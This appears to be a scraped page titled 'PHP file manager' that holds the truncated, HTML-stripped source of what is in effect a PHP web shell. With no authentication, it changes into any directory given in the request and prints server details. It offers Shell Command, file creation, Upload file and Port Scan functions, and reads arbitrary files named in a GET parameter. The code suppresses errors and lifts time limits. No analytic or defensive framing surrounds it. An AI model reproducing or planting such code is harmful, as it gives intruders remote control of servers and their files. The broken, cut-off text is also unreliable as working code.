php文件管理





<span style="color:#000000;">

java

</span>







php

error_reporting (0);

set_time_limit (0);

if (empty ($_GET ['dir'])){

$dir = getcwd ();

}

else {

$dir = $_GET ['dir'];

}

chdir ($dir);

$current = htmlentities ($_SERVER ['PHP_SELF'] . "?dir=" . $dir);



echo "

java


\n"; echo "Server: " . $_SERVER ['SERVER_NAME'] . "
\n"; echo "Current directory: " . getcwd () . "
\n"; echo "Software: " . $_SERVER ['SERVER_SOFTWARE'] . "

\n\n
\n"; echo "
\n\n\n
"; echo ""; echo ""; echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "
Shell CommandCreate a new fileUpload filePort Scan
"; echo "
\n\n
"; $mode = $_GET ['mode']; switch ($mode){ case 'edit': $file = $_GET ['file']; $new = $_POST ['new']; if (empty ($new)){ $fp = fopen ($file, "r"); $file_cont = fread ($fp, filesize ($file)); $file_cont = str_replace ("